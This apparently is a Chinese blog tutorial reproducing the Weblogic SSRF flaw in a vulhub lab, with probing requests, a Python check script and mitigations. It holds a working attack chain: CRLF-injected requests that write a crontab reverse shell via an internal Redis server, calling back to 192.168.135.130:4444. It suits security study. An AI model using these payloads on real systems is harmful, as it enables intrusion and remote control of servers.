Weblogic SSRF

1 SSRF漏洞概述

SSRF漏洞通常是由于服务端提供了从其他服务器应用获取数据的功能,并且没有对目标地址进行过滤与限制。攻击者可以利用这个漏洞,通过篡改获取资源的请求发送给服务器,服务器在没有发现这个请求是非法的情况下,会以自身的身份去访问其他服务器的资源。

2 Weblogic SSRF漏洞影响版本

Weblogic SSRF漏洞主要影响Weblogic 10.0.2和10.3.6版本。这些版本的Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

3 Weblogic SSRF漏洞形成原因

Weblogic SSRF漏洞形成的原因主要是由于服务端验证请求时没有对用户请求做出严格的过滤以及限制,导致其可以获取服务器的一定量的数据,并可以实现篡改获取的资源并请求发送给服务器。在Weblogic中,这个漏洞主要出现在uddi组件(具体为uddi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp)。

4 vulhub靶场漏洞部署

进入漏洞文件
cd vulhub/weblogic/ssrf
部署漏洞环境
docker compose up -d
查看漏洞端口
docker compose ps

访问 ,您将看到页面,表示环境正在成功运行

5 漏洞复现

5.1 ssrf漏洞复现

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:80

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: 192.168.135.132:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回did not have a valid SOAP content-type

修改为一个不存在的端口,将会返回could not connect over HTTP to server

5.2 注入HTTP头,利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),

查看redis服务器
docker ps
docker exec -it 3457229db3d2 /bin/bash

发现172.18.0.2:6379可以连通

发送三条redis命令,将弹shell脚本写入/etc/crontab

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.135.130/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aa

将这三条命令进行URL编码

%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%33%35%2e%31%33%30%2f%34%34%34%34%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%0a%73%61%76%65%0a%61%61

将url编码后的字符串放在ssrf的域名后面,发送:

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22\n\n\n\n*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.135.130%2F4444%200%3E%261\n\n\n\n%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aqwezxc HTTP/1.1
Host: 192.168.135.132:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

反弹成功

6 使用python脚本探测漏洞

#!/usr/bin/env python

import requests
from urllib.parse import urljoin

def ssrf(url):
    payload = urljoin(url, '/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001')

    try:
        response = requests.get(url=payload, verify=False, timeout=10)
        print(response.text)
        if 'deployed without error' in response.text:
            print("漏洞存在")
        else:
            print("漏洞不存在")
    except requests.exceptions.RequestException as e:
        print("请求错误:", e)

if __name__ == '__main__':
    print("注意:本代码仅用于实验和学习目的,请谨慎使用。")
    url = input("请输入目标 URL: ")
    ssrf(url)

7 Weblogic SSRF漏洞防范措施

  1. 严格过滤和验证用户输入:对于用户输入的URL地址或其他可能包含攻击代码的数据进行严格过滤和验证,防止攻击者利用SSRF漏洞发送恶意请求。

  2. 限制访问目标地址:在服务端配置中限制访问的目标地址范围,只允许访问指定的白名单地址,防止攻击者利用SSRF漏洞访问内网中其他服务器。

  3. 及时更新和修补漏洞:定期更新Weblogic版本并修补已知的安全漏洞,防止攻击者利用已知漏洞进行攻击。

  4. 部署安全设备:在网络中部署防火墙、入侵检测系统等安全设备,及时发现和阻止SSRF等攻击行为。

  • 17
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值